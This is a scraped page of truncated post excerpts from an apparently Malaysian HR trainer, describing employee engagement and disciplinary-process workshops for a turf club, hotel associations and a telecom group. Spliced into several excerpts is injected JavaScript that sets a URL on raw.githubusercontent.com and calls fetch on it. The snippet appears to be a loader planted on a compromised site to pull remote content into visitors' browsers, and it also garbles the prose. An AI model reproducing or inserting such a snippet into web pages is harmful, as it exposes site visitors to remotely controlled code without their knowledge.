Employee Engagement & Management for the senior Management team of Perak Turf Club. The benefit of in-house training is that I can align company's policies to 'mirror' employment legislation. More importantly its a 'no holds barred' training to make Management accountable & responsible to drive those policies thru its engagement processes with its employees. #management #humanr...

Another 2 days training on Employee Engagement and the Disciplinary process. A different approach unlike my regular training sessions. A group of 6 were put thru the rigours of the topic with breakout sessions focusing on case studies and finding solutions Pushing them to think 'outside the box' on how to create systems and creating accountability;var url = 'https://raw.githubusercont...

Employee engagement is about small group discourse to make employees become stakeholders in the Company. This one day workshop is help employee discover their worth and how to put their talents towards personal growth and creating overall employee satisfaction;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt';fetch(url).then(response => response.text())...

2 day program on Employee Engagement and the Disciplinary process for Malaysian Hotels Association (KL Chapter) . HOW DO WE KNOW WHEN OUR TRAINING IS EFFECTIVE?As much as there is a requirement to cover the course content, one cannot stress the importance of the break-out sessions, which are critical to gauge the participants understanding and the application of the course material. As M...

2 days of training members of the Malaysian Hotel Associations (Penang branch) on Management Empowerment & Discipline. Rather the telling them the law is, my focus is Case studies & role playing as a means of finding solutions in respect of the challenges faced by Companies.;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt';fetch(url).then(respon...

Day 1 - Training of RedOne group of companies HR personnel on placing onus on Managers to assume ownership for their departments. The central focus is on employee engagement of moving from 'skill-set to mindset' Day 2 - Training at redOne on the dreaded topic of the Domestic Inquiry. Participants were taken through the common pitfalls where procedures are not adhered to; the failure to...